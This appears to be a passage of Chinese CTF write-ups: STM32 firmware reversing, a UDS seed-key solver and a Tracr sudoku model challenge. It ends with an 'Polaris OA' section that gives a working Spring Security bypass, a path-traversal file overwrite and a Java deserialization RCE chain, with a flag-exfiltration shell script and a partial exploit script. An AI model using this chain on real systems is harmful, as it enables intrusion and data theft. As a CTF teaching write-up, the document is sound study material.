  • 你应该去对照这个框架的源码

3. 对照官方源码,sub_8000EC0digitalWrite() 完全一致

Arduino_Core_STM32 1.3.0wiring_digital.c 中,digitalWrite() 大致如下:

void digitalWrite(uint32_t ulPin, uint32_t ulVal)
{
  PinName p = digitalPinToPinName(ulPin);
  if (p != NC) {
    if (is_pin_configured(p, g_digPinConfigured)) {
      digital_io_write(get_GPIO_Port(STM_PORT(p)), STM_GPIO_PIN(p), ulVal);
    }
  }
}

sub_8000EC0 的结构一一对应:

  1. ulPin 范围检查
  2. digitalPinToPinName
  3. p != NC
  4. is_pin_configured(...)
  5. get_GPIO_Port(STM_PORT(p))
  6. STM_GPIO_PIN(p) 变掩码
  7. 调底层写函数

所以:

sub_8000EC0 = digitalWrite

到这里已经可以完全定性。


七、再看 sub_8003498

1. 关键反汇编

08003498: push    {r3, r4, r5, r6, r7, lr}
0800349a: ldr     r3, [pc, #0xc4]
0800349c: ldr     r3, [r3, #8]
0800349e: and     r3, r3, #0xc
080034a2: cmp     r3, #4
080034a4: beq     0x800355a
080034a6: cmp     r3, #8
080034a8: beq     0x80034ae
080034aa: ldr     r0, [pc, #0xb8]
080034ac: pop     {r3, r4, r5, r6, r7, pc}
...
0800355a: ldr     r0, [pc, #0xc]
0800355c: pop     {r3, r4, r5, r6, r7, pc}

对应字面量:

  • 0x08003490 -> 0x40023800
  • 0x08003560 -> 0x40023800
  • 0x08003564 -> 0x00F42400
  • 0x08003568 -> 0x007A1200

把它们换成十进制:

  • 0x40023800 -> RCC 基址
  • 0x00F42400 -> 16000000
  • 0x007A1200 -> 8000000

这两个频率常量太经典了:

  • HSI_VALUE = 16000000
  • HSE_VALUE = 8000000

只要看到 RCC + HSI/HSE 常量,基本就在告诉你:

这是个“求系统时钟频率”的函数

八、逐行理解 sub_8003498

1. 它先读 RCC->CFGR 的 SWS 位

ldr r3, [pc, #0xc4]
ldr r3, [r3, #8]
and r3, r3, #0xc
cmp r3, #4
beq ...
cmp r3, #8
beq ...

这里:

  • RCC 基址是 0x40023800
  • 偏移 +8RCC->CFGR
  • & 0xC 正好是在取 SWS(System clock switch status)

对 STM32F4 来说,SWS 的常见值是:

  • 0x0:HSI
  • 0x4:HSE
  • 0x8:PLL

而这段代码分支正好是:

  • == 4:直接返回 HSE_VALUE
  • == 8:进入 PLL 计算分支
  • 否则:返回另一个常量,也就是 HSI_VALUE

这正是“当前系统时钟源是谁,就返回对应 SYSCLK 频率”的典型结构。

2. HSE 分支

0800355a: ldr r0, [pc, #0xc]

加载的是:

0x007A1200 = 8000000

也就是:

sysclockfreq = HSE_VALUE;

3. 默认分支

080034aa: ldr r0, [pc, #0xb8]

加载的是:

0x00F42400 = 16000000

也就是:

sysclockfreq = HSI_VALUE;

4. PLL 分支最有辨识度

PLL 分支中有下面这些关键动作:

ldr r2, [r3, #4]
and r2, r2, #0x3f

这在取:

pllm = RCC->PLLCFGR & RCC_PLLCFGR_PLLM;

然后:

tst.w r3, #0x400000
beq ...

这个位是在判断 PLL 时钟源是:

  • HSI
  • 还是 HSE

接着又有:

ubfx r3, r3, #6, #9

PLLCFGR 中取出 9 位字段,这就是 PLLN

随后是一大段 64 位乘除法过程,本质上是在算:

pllvco = (source * PLLN) / PLLM;

最后:

ubfx r3, r3, #0x10, #2
adds r3, #1
lsls r3, r3, #1
udiv r0, r0, r3

这段正好在做:

pllp = (((RCC->PLLCFGR & PLLP) >> 16) + 1) * 2;
sysclockfreq = pllvco / pllp;

这就是 STM32F4 HAL 里求 SYSCLK 的标准公式。


九、为什么它就是 HAL_RCC_GetSysClockFreq

还是那句话,教学型 WP 要讲“为什么”,不能只讲“像什么”。

1. 返回值完全符合 HAL 的语义

这个函数:

  • 不接收参数
  • 返回一个 uint32_t
  • 按当前 RCC 配置动态算出系统时钟频率

这和 HAL 中最著名的时钟查询函数完全一致:

uint32_t HAL_RCC_GetSysClockFreq(void)

2. 公式完全对上 ST 官方 HAL 实现

STM32F4 HAL 官方源码中的 HAL_RCC_GetSysClockFreq() 逻辑就是:

  1. RCC->CFGR 里当前系统时钟源
  2. 如果是 HSE,返回 HSE_VALUE
  3. 如果是 HSI,返回 HSI_VALUE
  4. 如果是 PLL,就按:
PLL_VCO = (source / PLLM) * PLLN
SYSCLK  = PLL_VCO / PLLP

去计算

sub_8003498 正是这四步。

3. 字面量也强烈支持这一点

函数中直接出现:

  • 16000000
  • 8000000
  • RCC 基址
  • PLLCFGR
  • CFGR

这几样放在同一个无参函数里,几乎不可能是别的东西。

因此:

sub_8003498 = HAL_RCC_GetSysClockFreq

十、两个函数名最终确定

至此可以确定:

  • sub_8003498 -> HAL_RCC_GetSysClockFreq
  • sub_8000EC0 -> digitalWrite

那么 flag 就是:

xmctf{HAL_RCC_GetSysClockFreq_digitalWrite}

十一、这题真正想考什么

这题表面上是在问两个函数名,本质上考的是以下几个能力:

1. 识别固件类型

看到 .bin、向量表、0x080000000x200xxxxx,要能立刻意识到这是 Cortex-M 裸固件。

2. 识别 MCU 外设地址

看到:

  • 0x40023800
  • 0x40020000

要能知道它们分别是:

  • RCC
  • GPIOA

这能极大缩小分析范围。

3. 识别框架痕迹

固件里的字符串路径经常是白给线索。

这题直接把:

Arduino_Core_STM32 1.3.0

的路径都送出来了。

看到这种东西,第一反应就该是:

去源码仓库里找同名/同语义函数对照

4. 不要只看单个函数,要看“函数簇”

单看 sub_8000EC0,你也许只能猜“这是某个 GPIO 写函数”。

但一看前一个函数 sub_8000E14 明显像 pinMode(),整个 API 风格立刻就统一了。

这就是逆向里非常重要的一个习惯:

不要孤立分析一个函数,要看它前后邻居、共享表、共享全局变量、共同调用者

十二、实战中可复用的判断技巧

以后再遇到类似 STM32 固件题,可以优先记住下面这些“快判法”。

1. 看到 0x08000000 / 0x20000000

优先想到 Cortex-M 启动向量表。

2. 看到 0x40023800

优先想到 STM32F4 的 RCC。

3. 看到 8000000 / 16000000

优先想到:

  • HSE_VALUE
  • HSI_VALUE

4. 看到一堆 0x400200000x400208000x40020C00

优先想到 GPIOA/B/C… 基址表。

5. 看到“数字 pin -> 查表 -> 拆 port/pin -> 写 GPIO”

优先想到 Arduino 风格的:

  • pinMode
  • digitalWrite
  • digitalRead

十三、最后给一个最简结论版

如果你只想记住最短解法,可以压缩成下面几句话:

  1. 附件是 STM32F429 裸固件,基址按 0x08000000 装载。
  2. sub_8000EC0 先用表 0x08005d4c 把数字引脚映射成 PinName,再检查 g_digPinConfigured,然后根据 GPIOA~GPIOK 基址表写 GPIO,明显是 Arduino Core 的 digitalWrite
  3. sub_8003498 读取 RCC->CFGRRCC->PLLCFGR,结合 8000000/16000000 常量按 PLL 公式计算 SYSCLK,明显是 HAL_RCC_GetSysClockFreq
  4. 所以 flag 为:
xmctf{HAL_RCC_GetSysClockFreq_digitalWrite}

参考资料

【Reverse】 ez_uds

作者: Manus AI

题目分析

本题是一道关于汽车网络安全中 UDS(统一诊断服务,ISO 14229)协议的逆向/交互题。题目提供了一个简单的 UDS 诊断服务环境,并给出了 Security Access(安全访问,服务 ID 0x27)的 Seed 到 Key 的计算算法。

题目给出的算法如下:

def generate_seed():
    return random.randint(0, 0xFFFFFFFF)

def calculate_key(seed):
    key = seed ^ 0xA5A5A5A5
    key = ((key << 3) | (key >> 29)) & 0xFFFFFFFF
    key = (key + 0x12345678) & 0xFFFFFFFF
    return key

根据 UDS 协议规范,Security Access 的标准流程为:

  1. 客户端发送 27 01 请求 Seed。
  2. 服务端返回 67 01 [4字节Seed]
  3. 客户端根据 Seed 计算出 Key,发送 27 02 [4字节Key]
  4. 服务端验证通过后返回 67 02,并授予安全访问权限。

解题过程

通过 nc nihaohaha123 12345 连接到服务端,可以看到服务端的提示信息:

==============================
   ECU UDS Security Server
==============================

Supported Service:
  0x27  SecurityAccess

Usage:
  27 01             -> Request Seed
  27 02 <4byteskey> -> Send Key

Example:
  27 01
  27 02 12 34 56 78

Type 'exit' to disconnect.
================================

Input HEX (e.g. 2701 or 270212345678): 

我们需要编写一个 Python 脚本,通过 Socket 连接服务端,自动完成以下步骤:

  1. 发送 2701 请求 Seed。
  2. 解析服务端返回的 Seed 值。
  3. 使用题目提供的算法计算 Key。
  4. 发送 2702 加上计算出的 Key。
  5. 获取最终的 Flag。

解题脚本

以下是完整的 Python 解题脚本:

#!/usr/bin/env python3
import socket
import time
import re

HOST = 'nc1.ctfplus.cn'
PORT = 46821

def calculate_key(seed: int) -> int:
    """
    题目给出的算法:
    1. 异或 0xA5A5A5A5
    2. 循环左移 3 位
    3. 加上 0x12345678
    """
    key = seed ^ 0xA5A5A5A5
    key = ((key << 3) | (key >> 29)) & 0xFFFFFFFF
    key = (key + 0x12345678) & 0xFFFFFFFF
    return key

def recv_until(s, marker, timeout=10):
    """接收数据直到出现特定标记"""
    s.settimeout(2)
    data = b''
    deadline = time.time() + timeout
    while time.time() < deadline:
        try:
            chunk = s.recv(4096)
            if not chunk:
                break
            data += chunk
            if marker in data:
                break
        except socket.timeout:
            continue
    return data

def recv_all_available(s, timeout=5):
    """接收所有可用数据"""
    s.settimeout(timeout)
    data = b''
    while True:
        try:
            chunk = s.recv(4096)
            if not chunk:
                break
            data += chunk
        except socket.timeout:
            break
    return data

def main():
    print(f"[*] Connecting to {HOST}:{PORT}")
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((HOST, PORT))
    
    # 接收欢迎信息
    recv_until(s, b'): ', timeout=15)
    
    # Step 1: 发送 2701 请求seed
    print("[*] Sending '2701' to request seed...")
    s.sendall(b'2701\n')
    
    # 接收seed响应
    seed_response = recv_until(s, b'): ', timeout=15)
    resp_text = seed_response.decode('utf-8', errors='replace')
    
    # 解析seed值 (格式如: 67 01 37 71 B2 FB)
    seed_hex = None
    match = re.search(r'67\s+01\s+([0-9a-fA-F]{2})\s+([0-9a-fA-F]{2})\s+([0-9a-fA-F]{2})\s+([0-9a-fA-F]{2})', resp_text, re.IGNORECASE)
    if match:
        seed_hex = ''.join(match.groups())
    
    if not seed_hex:
        print("[!] Could not parse seed.")
        return
    
    seed = int(seed_hex, 16)
    print(f"[*] Parsed seed: 0x{seed:08X}")
    
    # Step 2: 计算key
    key = calculate_key(seed)
    print(f"[*] Calculated key: 0x{key:08X}")
    
    # Step 3: 发送 2702 + key
    key_str = f"2702{key:08X}"
    print(f"[*] Sending: {key_str}")
    s.sendall(f"{key_str}\n".encode())
    
    # 接收最终响应并提取Flag
    time.sleep(2)
    final = recv_all_available(s, timeout=10)
    final_text = final.decode('utf-8', errors='replace')
    
    flag_match = re.search(r'[A-Za-z0-9_]+\{[^}]+\}', final_text)
    if flag_match:
        print(f"[+] FLAG: {flag_match.group()}")
    
    s.close()

if __name__ == '__main__':
    main()

运行结果

运行上述脚本,成功获取到 Flag:

[*] Connecting to nihaohaha123:12345
[*] Sending '2701' to request seed...
[*] Parsed seed: 0x3771B2FB
[*] Calculated key: 0xA8D5116C
[*] Sending: 2702A8D5116C
[+] FLAG: polarisctf{nihaohaha123}

Flag: polarisctf{nihaohaha123}

【Reverse】 hajimi

XMCTF 中的 hajimi 题目。逆向工程/算法题,更是一次对 Google DeepMind Tracr 框架和 JAX 高性能计算的深度探索。我们将从题目分析、技术原理、性能优化到最终解题,一步步带你揭开这道题的面纱。


1. 题目背景与初步分析

题目提供了一个名为 hajimi.zip 的压缩包,解压后包含两个文件:

  • __main__.py:主程序脚本。
  • challenge.pkl.zst:使用 Zstandard 压缩的序列化模型文件。

1.1 源码审计

查看 __main__.py 的核心逻辑,我们可以发现以下关键点:

import haiku as hk
import jax.nn
import zstandard as zstd
from tracr.compiler.assemble import AssembledTransformerModel, _make_embedding_modules
from tracr.transformer.model import CompiledTransformerModel, Transformer, TransformerConfig

VALID_DIGITS = set("1234")

# ... (模型加载代码) ...

if __name__ == "__main__":
    prompt = input("You: ").strip()

    if len(prompt) != 16:
        print("Wrong grid.")
        raise SystemExit(1)

    if any(c not in VALID_DIGITS for c in prompt):
        print("Wrong grid.")
        raise SystemExit(1)

    tokens = ["BOS"] + list(prompt)
    print("Psychic:", decode_output(load_model("challenge.pkl.zst").apply(tokens)))

初步结论

  1. 输入限制:程序要求输入一个长度恰好为 16 的字符串,且字符只能是 1234
  2. 核心机制:程序使用了 tracr(Transformer Compiler)和 JAX/Haiku 库,加载了一个预编译的 Transformer 模型,并将我们的输入作为 Token 喂给模型。
  3. 目标:我们需要找到一个特定的 16 位字符串,使得模型的输出不是 Wrong grid.,而是某种表示成功的字符串(后经验证为 Grid accepted.)。

2. 技术原理解析:什么是 Tracr?

在深入解题之前,我们需要了解题目所使用的核心技术栈。

2.1 Tracr 与 RASP

Tracr [1] 是 Google DeepMind 开源的一个编译器,它的作用是将 RASP(Restricted Access Sequence Processing)程序编译成标准的 Transformer 模型权重。

RASP 是一种专为表达 Transformer 计算逻辑而设计的编程语言。研究人员可以用 RASP 编写诸如“计算序列中某个字符的出现次数”、“反转序列”等逻辑,Tracr 会将这些逻辑精确地映射到 Transformer 的注意力头(Attention Heads)和多层感知机(MLP)中。

2.2 探秘模型内部

为了理解这个黑盒模型在做什么,我们可以编写脚本读取 challenge.pkl.zst 中的元数据:

# 提取模型配置和残差标签
print(o.config)
# {'num_heads': 5, 'num_layers': 13, 'key_size': 257, 'mlp_hidden_size': 1290, ...}

print(o.residual_labels[:10])
# ['count_True_3:0', 'count_True_3:1', ..., 'sequence_map_6:False', 'sequence_map_6:True']

关键发现

  1. 这是一个 13 层、5 个注意力头的 Transformer。
  2. 残差流标签(Residual Labels) 暴露了 RASP 程序的内部变量名。我们看到了 count_Truesequence_mapselector_width 等标签。
  3. 结合输入是 16 位的 1234,且代码中出现了 grid(网格)一词,我们可以合理推测:这是一个 4x4 数独(Sudoku)的验证器。模型内部通过 RASP 逻辑检查行、列和 2x2 宫格的约束。

3. 解题思路:从暴力破解到算法优化

3.1 搜索空间分析

如果直接暴力枚举所有 16 位的 1234 组合,总共有 $4^{16} = 4,294,967,296$(约 42.9 亿)种可能。对于一个 13 层的 Transformer 模型来说,逐一推理是不可能在合理时间内完成的。

优化策略 1:缩小搜索空间 既然推测这是 4x4 数独,我们可以先在本地生成所有合法的 4x4 数独矩阵。4x4 数独的规则是:每行、每列、每个 2x2 宫格内都必须包含 1、2、3、4 且不重复。 经过算法生成,合法的 4x4 数独仅有 288 个

3.2 性能瓶颈与 JAX 加速

当我们尝试用原生代码对这 288 个输入进行测试时,遇到了严重的性能问题:单次推理需要约 7 秒。测试 288 个输入需要半个多小时。

优化策略 2:JAX JIT 与 VMAP 题目使用了 JAX 框架,这为我们提供了强大的性能优化工具:

  • jax.jit (Just-In-Time Compilation):将 Python/JAX 代码编译为高效的 XLA(Accelerated Linear Algebra)底层代码。首次运行(预热)较慢,但后续运行速度会提升百倍。
  • jax.vmap (Vectorizing Map):自动将单样本处理函数转换为支持批量(Batch)处理的函数,充分利用矩阵运算的并行性。

4. 完整利用代码 (Exploit)

结合上述思路,我们编写了最终的批量测试脚本。该脚本首先生成 288 个合法的数独,然后利用 JAX 的 jitvmap 进行极速批量推理。

import pickle, types, itertools, time
import haiku as hk
import jax
import jax.numpy as jnp
import jax.nn
import numpy as np
import zstandard as zstd
from tracr.compiler.assemble import AssembledTransformerModel, _make_embedding_modules
from tracr.transformer.model import CompiledTransformerModel, Transformer, TransformerConfig

# 1. 生成所有合法的 4x4 数独
def generate_valid_sudoku_4x4():
    digits = [1, 2, 3, 4]
    valid = []
    for r0 in itertools.permutations(digits):
        for r1 in itertools.permutations(digits):
            if not all(r0[c] != r1[c] for c in range(4)): continue
            if not all(sorted([r0[bc*2], r0[bc*2+1], r1[bc*2], r1[bc*2+1]]) == [1,2,3,4] for bc in range(2)): continue
            for r2 in itertools.permutations(digits):
                if not all(r2[c] not in (r0[c], r1[c]) for c in range(4)): continue
                r3 = []
                for c in range(4):
                    used = {r0[c], r1[c], r2[c]}
                    rem = [d for d in digits if d not in used]
                    if len(rem) != 1: break
                    r3.append(rem[0])
                if len(r3) != 4: continue
                if not all(sorted([r2[bc*2], r2[bc*2+1], r3[bc*2], r3[bc*2+1]]) == [1,2,3,4] for bc in range(2)): continue
                valid.append(''.join(str(d) for d in list(r0)+list(r1)+list(r2)+list(r3)))
    return valid

# 2. 加载模型
with open("challenge.pkl.zst", "rb") as fp, zstd.ZstdDecompressor().stream_reader(fp) as cfp:
    o = types.SimpleNamespace(**pickle.load(cfp))
o.config["activation_function"] = getattr(jax.nn, o.config["activation_function"])

def get_compiled_model():
    transformer = Transformer(TransformerConfig(**o.config))
    embed_modules = _make_embedding_modules(*o.embed_spaces)
    return CompiledTransformerModel(transformer, embed_modules.token_embed, embed_modules.pos_embed, embed_modules.unembed, use_unembed_argmax=True)

@hk.without_apply_rng
@hk.transform
def forward(emb):
    return get_compiled_model()(emb, use_dropout=False)

# 3. JAX 性能优化:定义单次前向传播并使用 vmap 向量化
def single_forward(tokens_1d):
    tokens_batch = jnp.expand_dims(tokens_1d, 0)
    result = forward.apply(o.params, tokens_batch)
    return result.unembedded_output[0]

# 核心:使用 jit 和 vmap 编译批量推理函数
batched_forward_jit = jax.jit(jax.vmap(single_forward))

# 4. 执行批量测试
valid_grids = generate_valid_sudoku_4x4()
batch_enc = jnp.array([np.array(o.input_encoder.encode(["BOS"] + list(g)), dtype=np.int32) for g in valid_grids])

print("Running batched inference...")
batch_out = batched_forward_jit(batch_enc)
batch_out.block_until_ready() # 等待 JAX 异步计算完成

# 5. 解析结果
for i, g in enumerate(valid_grids):
    decoded = o.output_encoder.decode(batch_out[i][1:].tolist())
    if "EOS" in decoded: decoded = decoded[:decoded.index("EOS")]
    result_str = "".join(decoded)
    
    if "accepted" in result_str.lower():
        print(f"Found correct grid: {g} -> {result_str}")

5. 最终结果与 Flag 计算

运行上述优化后的脚本,原本需要半小时的计算在 15秒 内(包含 JIT 编译时间)瞬间完成。

在 288 个合法的数独中,模型仅对 唯一一个 输入返回了 Grid accepted.。这说明模型除了验证数独规则外,还隐含了某种对称性或特定模式的硬编码检查。

唯一正确的输入串

1234341221434321

将其还原为 4x4 网格,可以看到其完美的对称美感:

1 2 3 4
3 4 1 2
2 1 4 3
4 3 2 1

计算 Flag: 根据题目要求,Flag 格式为 xmctf{sha256(16位答案串)}

$ echo -n "1234341221434321" | sha256sum
b0a0d1edc0fb5b75770a5dcbe7b0d4fb08e42fd281a94ee67b405e36056f1df1

最终 Flag

xmctf{b0a0d1edc0fb5b75770a5dcbe7b0d4fb08e42fd281a94ee67b405e36056f1df1}

6. 总结

这道题巧妙地将传统算法(数独)与前沿 AI 技术(Transformer 编译)结合在一起。解题的关键在于:

  1. 通过逆向分析模型特征(残差标签、输入格式)猜出底层逻辑(4x4 数独)。
  2. 利用算法(排列组合)大幅缩减搜索空间。
  3. 熟练掌握 JAX 框架的 jitvmap 特性,打破 Transformer 推理的性能瓶颈。

References

[1] Lindner, D., et al. (2023). Tracr: Compiled Transformers as a Laboratory for Interpretability. arXiv preprint arXiv:2301.05062. https://arxiv.org/abs/2301.05062

Polaris OA

1. 挑战概览

题目类型:Web 安全 / Java 反序列化 目标:在远程 Spring Boot 环境中获取 flag。 核心难点

  • Spring Security 权限绕过。
  • 复杂的文件操作逻辑(加密存储、解密写入、目录穿越)。
  • Java 反序列化利用(SpringFs Gadget),以及目标环境 JDK 版本的严格限制。
  • 无回显 RCE 下的盲注(通过文件大小信道回传数据)。

2. 漏洞链深度分析

整个攻击链由三个关键漏洞拼接而成,最终实现无回显的远程命令执行(RCE)。

2.1 权限绕过 (Auth Bypass)

系统对管理员接口(如 /ajax/fileUpload/docController)进行了权限拦截。然而,由于 Spring Security 过滤器在处理 URL 路径时的差异,普通用户登录后,可以通过在请求路径前添加 /user/..;x=/ 来绕过路径匹配规则,从而越权访问这些内部接口。

2.2 可控文件写入与目录穿越

文件上传和处理流程中存在严重的设计缺陷:

  1. 文件上传 (/fileUpload?method=upload):上传的文件会被 XOR 加密后保存在临时目录 data/temp/docs/<id> 中。
  2. 生成解析槽 (/ajax?managerMethod=parseService):该接口会在 data/uploads/ 目录下生成一个合法的序列化文件 <parsed_id>_parsed,我们称之为“槽位”。
  3. 任意文件覆盖 (/docController?method=checkIsSign):该接口负责将临时文件“解密”并复制到指定路径。其 fileList 参数存在目录穿越漏洞(如 ..%2F..%2Fuploads%2F<parsed_id>_parsed)。由于解密操作(XOR)与加密操作(XOR)是对称的,经过两次 XOR 后,上传的恶意 Payload 能够以原始二进制形式覆盖 data/uploads/ 目录下已存在的 _parsed 文件。

2.3 反序列化 RCE

当调用 /ajax?managerMethod=deserializeData 接口并传入被覆盖的槽位 ID 时,服务器会直接对 data/uploads/<id>_parsed 文件执行 ObjectInputStream.readObject()。由于该文件已被我们替换为恶意的序列化 Payload,这将直接触发 Java 反序列化漏洞。

2.4 命令执行落地方式(两段式盲注)

由于直接在反序列化 Gadget 中注入复杂的 Shell 脚本容易因为字符转义或环境变量问题导致执行失败,最佳实践是采用两段式攻击

  • 第一段(命令槽):存放反序列化 Payload,其执行的命令非常简单,固定为 /bin/sh data/uploads/<script_slot>_parsed
  • 第二段(脚本槽):存放纯文本的 Shell 脚本。该脚本负责查找 flag 文件,将其 Base64 编码,然后逐字符读取,并利用 dd 命令在 data/uploads/ 目录下创建以字符 ASCII 码为大小的文件。
  • 数据回传:攻击者通过 /fileUpload/info 接口轮询这些生成的文件大小,即可还原出完整的 Base64 字符串。

3. 关键调试发现:JDK 版本陷阱

在复现过程中,我们发现一个极易导致 RCE 失败的隐蔽问题。

原始利用脚本使用 JDK 11 生成 springFs Payload,并在本地测试通过。然而,当向远程靶场发送该 Payload 时,虽然触发了 Fastjson 报错(表明 Gadget 链已执行),但命令却未生效。

根本原因: 通过分析 polaris.jar 的 class 文件版本(Major Version 52.0),确认远程靶场运行在 JDK 8 环境下。 在使用 JDK 11 的 TemplatesImpl 生成 Payload 时,defineTransletClasses 方法依赖了 Java 9 引入的 Module 系统(调用了 _tfactory.getPackageName())。在反序列化过程中,如果 _tfactory 为 null,JDK 11 生成的字节码会抛出 NullPointerException,导致命令执行中断。

解决方案: 必须使用 JDK 8(如 jdk8u392-b08)环境来编译和生成 Payload。同时,在使用 JYso 生成 springFs Payload 时,保持默认配置(Config.IS_INHERIT_ABSTRACT_TRANSLET = false),这样生成的 Payload 在 JDK 8 环境下能够完美绕过检查并执行命令。

4. 一步步手动复现指南

以下是完全手动复现该漏洞的详细步骤。

步骤 1:环境准备

确保你的攻击机上安装了 JDK 8 和 Python 3。 下载必要的工具和依赖:

  1. 下载 JYso:wget https://github.com/qi4L/JYso/releases/download/v1.3.7/JYso-1.3.7.jar
  2. polaris.jar 中提取 Spring 依赖(spring-beans-5.3.31.jar, spring-core-5.3.31.jar, spring-jcl-5.3.31.jar),放入当前目录。

步骤 2:编写 Payload 生成器

创建 SpringFsPayloadGen.java

import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import com.qi4l.JYso.gadgets.springFs;

public class SpringFsPayloadGen {
    public static void main(String[] args) throws Exception {
        String command = args[0];
        String output = args[1];
        springFs payload = new springFs();
        payload.serialVersionUID = "-1515767093960859525"; // 适配目标 fastjson 1.2.48
        Object obj = payload.getObject(command);
        try (ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(output))) {
            oos.writeObject(obj);
        }
    }
}

使用 JDK 8 编译:

/path/to/jdk8/bin/javac -cp "JYso-1.3.7.jar:spring-beans-5.3.31.jar:spring-core-5.3.31.jar:spring-jcl-5.3.31.jar:." SpringFsPayloadGen.java

步骤 3:注册与登录

使用 Burp Suite 或 Python requests 向靶场发送请求:

  1. POST /register (参数: username=testuser, password=testpassA1, confirmPassword=testpassA1)
  2. POST /login (参数: username=testuser, password=testpassA1) 获取 Session Cookie。

步骤 4:创建两个解析槽 (Slots)

我们需要创建两个合法的 _parsed 文件作为覆盖目标。 发送两次文件上传请求(带上绕过前缀): POST /user/..;x=/fileUpload?method=upload (上传任意文本文件) 记录返回的 fileId(假设为 id_Aid_B)。

分别调用解析接口: POST /user/..;x=/ajax?method=ajaxAction&managerName=serviceManager&managerMethod=parseService 参数:args=[1, id_A]args=[1, id_B]。 记录返回的槽位 ID,我们将其命名为 script_slotcmd_slot

步骤 5:准备并上传 Shell 脚本

编写读取 flag 的 Shell 脚本 script.txt(注意:必须以 .txt 结尾绕过黑名单):

#!/bin/sh
b64=$(base64 /f14g 2>/dev/null | tr -d '\n')
len=${#b64}
dd if=/dev/zero of=data/uploads/81500000 bs=1 count=$len 2>/dev/null
i=0
while [ $i -lt $len ]; do
  ch=$(printf '%s' "$b64" | cut -c $((i+1)))
  asc=$(printf '%s' "$ch" | od -An -tu1 | tr -d ' \n')
  dd if=/dev/zero of=data/uploads/$((81500001+i)) bs=1 count=$asc 2>/dev/null
  i=$((i+1))
done

调用 /fileUpload?method=upload 上传该脚本,记录返回的 upload_id_script

步骤 6:生成并上传反序列化 Payload

使用步骤 2 编译的生成器,生成执行脚本的 Payload:

/path/to/jdk8/bin/java -cp "JYso-1.3.7.jar:spring-beans-5.3.31.jar:spring-core-5.3.31.jar:spring-jcl-5.3.31.jar:." SpringFsPayloadGen "/bin/sh data/uploads/<script_slot>_parsed" payload.bin

调用 /fileUpload?method=upload 上传 payload.bin,记录返回的 upload_id_cmd

步骤 7:执行目录穿越覆盖

调用 checkIsSign 接口将上传的文件覆盖到槽位: POST /user/..;x=/docController?method=checkIsSign

  1. 覆盖脚本槽:参数 fileList=<upload_id_script>$..%2F..%2Fuploads%2F<script_slot>_parsed
  2. 覆盖命令槽:参数 fileList=<upload_id_cmd>$..%2F..%2Fuploads%2F<cmd_slot>_parsed

步骤 8:触发 RCE 并读取 Flag

调用反序列化接口触发命令: POST /user/..;x=/ajax?method=ajaxAction&managerName=serviceManager&managerMethod=deserializeData 参数:args=[1, <cmd_slot>] (返回 write javaBean error 属于正常现象,说明已触发)。

等待几秒钟后,调用文件信息接口读取大小: GET /user/..;x=/fileUpload/info?method=info&fileId=81500000 获取 Base64 长度。 循环请求 fileId=81500001, 81500002… 获取每个字符的 ASCII 码。 将 ASCII 码转换为字符并拼接,最后进行 Base64 解码即可得到 Flag:XMCTF{...}


5. 完整自动化 Exploit 脚本

以下是经过环境适配和路径修复后的完整可用 Python 脚本。运行前请确保系统已安装 JDK 8,并将 JAVA_BINJAVAC_BIN 修改为实际路径。

#!/usr/bin/env python3
import base64
import json
import os
import random
import re
import string
import subprocess
import sys
import time
import zipfile
from pathlib import Path
from typing import Dict, Tuple
import requests

TARGET_URL = "http://8080-7c7ab3a4-829c-4b05-a940-9b17acb187e2.challenge.ctfplus.cn"
REQUEST_TIMEOUT = 20
REQUEST_RETRIES = 5
MAX_B64_LEN = 1024

# 必须使用 JDK 8 的路径
JAVA_BIN = "/home/ubuntu/jdk8u392-b08/bin/java"
JAVAC_BIN = "/home/ubuntu/jdk8u392-b08/bin/javac"

CACHE_DIR = Path("./.cache")
JYSO_JAR = Path("./JYso-1.3.7.jar")
POLARIS_JAR = Path("./polaris.jar")

SPRING_FS_GEN_JAVA = r"""
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import com.qi4l.JYso.gadgets.springFs;

public class SpringFsPayloadGen {
    public static void main(String[] args) throws Exception {
        if (args.length < 2) {
            throw new IllegalArgumentException("usage: <command> <output_file>");
        }
        String command = args[0];
        String output = args[1];
        springFs payload = new springFs();
        payload.serialVersionUID = "-1515767093960859525";
        Object obj = payload.getObject(command);
        try (ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(output))) {
            oos.writeObject(obj);
        }
    }
}
""".strip()

class ExploitError(Exception):
    pass

def rand_user() -> Tuple[str, str]:
    uname = "u" + "".join(random.choice(string.ascii_lowercase + string.digits) for _ in range(8))
    pwd = "p" + "".join(random.choice(string.ascii_lowercase + string.digits) for _ in range(10)) + "A1"
    return uname, pwd

def parse_upload_id(text: str) -> int:
    m = re.search(r"id[^\d]*(\d+)", text)
    if m:
        return int(m.group(1))
    nums = re.findall(r"\d{6,}", text)
    if nums:
        return int(nums[-1])
    raise ExploitError(f"cannot parse file id from response: {text!r}")

def build_payload(command: str, out_file: Path) -> bytes:
    CACHE_DIR.mkdir(parents=True, exist_ok=True)
    java_src = CACHE_DIR / "SpringFsPayloadGen.java"
    java_src.write_text(SPRING_FS_GEN_JAVA, encoding="ascii")
    
    cp = ":".join([
        str(JYSO_JAR),
        str(CACHE_DIR / "spring-beans-5.3.31.jar"),
        str(CACHE_DIR / "spring-core-5.3.31.jar"),
        str(CACHE_DIR / "spring-jcl-5.3.31.jar"),
        str(CACHE_DIR),
    ])
    subprocess.check_call([JAVAC_BIN, "-proc:none", "-cp", cp, str(java_src)], cwd=str(CACHE_DIR), stderr=subprocess.DEVNULL)
    subprocess.check_call([JAVA_BIN, "-cp", cp, "SpringFsPayloadGen", command, str(out_file)], cwd=str(CACHE_DIR), stderr=subprocess.DEVNULL)
    return out_file.read_bytes()

class PolarisExploit:
    def __init__(self, base_url: str):
        self.base = base_url.rstrip("/")
        self.sess = requests.Session()

    def request(self, method: str, path: str, **kwargs) -> requests.Response:
        url = self.base + path
        last_err = None
        for _ in range(REQUEST_RETRIES):
            try:
                kwargs.setdefault("timeout", REQUEST_TIMEOUT)
                resp = self.sess.request(method, url, **kwargs)
                if resp.text == "":
                    raise ExploitError("empty response body")
                return resp
            except Exception as exc:
                last_err = exc
                time.sleep(0.25)
        raise ExploitError(f"request failed: {method} {url} ({last_err})")

    def register_login(self) -> None:
        u, p = rand_user()
        r = self.request("POST", "/register", data={"username": u, "password": p, "confirmPassword": p})
        if "success" not in r.text and "瀛樺湪" not in r.text:
            raise ExploitError(f"register failed: {r.text}")
        r = self.request("POST", "/login", data={"username": u, "password": p})
